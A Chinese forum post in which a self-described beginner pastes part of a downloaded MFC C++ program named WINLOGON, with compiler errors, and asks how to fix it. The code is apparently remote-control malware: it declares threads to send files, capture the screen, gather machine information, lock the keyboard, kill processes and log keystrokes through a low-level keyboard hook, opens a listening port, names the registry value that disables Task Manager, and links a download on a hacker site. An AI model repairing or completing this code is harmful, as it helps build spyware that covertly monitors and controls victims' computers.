大家好 情帮我看看  怎么解决以下错误谢谢啦   本人 菜鸟 
这是我在网上找的源码
请具体写出怎么 改谢谢啦 
mainfrm.cpp(47) : error C2011: “tagKBDLLHOOKSTRUCT”: “struct”类型重定义
1>        d:\program files\microsoft visual studio 8\vc\platformsdk\include\winuser.h(926) : 参见“tagKBDLLHOOKSTRUCT”的声明
mainfrm.cpp(68) : error C2440: “static_cast”: 无法从“void (__thiscall CMainFrame::* )(WPARAM,LPARAM)”转换为“LRESULT (__thiscall CWnd::* )(WPARAM,LPARAM)”
1>        在匹配目标类型的范围内没有具有该名称的函数mainfrm.cpp(69) : error C2440: “static_cast”: 无法从“void (__thiscall CMainFrame::* )(WPARAM,LPARAM)”转换为“LRESULT (__thiscall CWnd::* )(WPARAM,LPARAM)”
1>        在匹配目标类型的范围内没有具有该名称的函数
源码#include "stdafx.h"
#include "WINLOGON.h"
#include<Tlhelp32.h>#include "MainFrm.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
CString static msgmsg;
#define LISTEN_KEY   WM_USER + 12
#define STATUS_MESSAGE   WM_USER + 1
#define PORT 5418
#define SIZEFILE 1024
#define FLAG 2
/////////////////////////////////////////////////////////////////////////////
// CMainFrame
CWinThread *pThreadSendFile; //发送文件线程-->_SendFileThread
CWinThread *pThreadSendMsg; //发送消息线程
CWinThread *pThreadLisen; //监听线程-->_ListenTcpThread
CWinThread *pReceiveThread; //接受线程-->_ReceiveThread
CWinThread  *pThreadCaputre; //抓取屏幕线程
CWinThread  *pThreadInformation; //获取机器信息
CWinThread  *pThreadReturnInformation; //返回机器信息
CWinThread  *pThreadLockKey;     //琐定键盘线程
CWinThread  *pThreadLookPrc;     //查看进程线程
CWinThread  *pThreadKissPrc;     //杀死进程线程
CWinThread  *pThreadListenKey;     //杀死进程线程
HHOOK hhkLowLevelKybd2000;
HHOOK listenkeyhook;
#define WH_KEYBOARD_LL     13
#define WH_MOUSE_LL     14#define HKCU HKEY_CURRENT_USER
LPCTSTR KEY_DisableTaskMgr =
"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System";
LPCTSTR VAL_DisableTaskMgr = "DisableTaskMgr";typedef struct tagKBDLLHOOKSTRUCT {                               /////////错吴1    DWORD   vkCode;    DWORD   scanCode;    DWORD   flags;    DWORD   time;    DWORD   dwExtraInfo;} KBDLLHOOKSTRUCT, FAR *LPKBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;IMPLEMENT_DYNCREATE(CMainFrame, CFrameWnd)BEGIN_MESSAGE_MAP(CMainFrame, CFrameWnd)
//{{AFX_MSG_MAP(CMainFrame)
// NOTE - the ClassWizard will add and remove mapping macros here.
//    DO NOT EDIT what you see in these blocks of generated code !
ON_WM_CREATE()
ON_MESSAGE(STATUS_MESSAGE,Onkey)                                   /////////错吴2
ON_MESSAGE(LISTEN_KEY,ListenKey)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()static UINT indicators[] =
{
ID_SEPARATOR,           // status line indicator
ID_INDICATOR_CAPS,
ID_INDICATOR_NUM,
ID_INDICATOR_SCRL,
};UINT _ListenKey(LPVOID lparam)//监听线程
{
    CMainFrame *pDlg=(CMainFrame *)lparam;
PostMessage(pDlg->GetSafeHwnd(),LISTEN_KEY,0,0);
return 0;
}源码 下载地址 http://www.heibai.net/download/Soft/Soft_2557.htm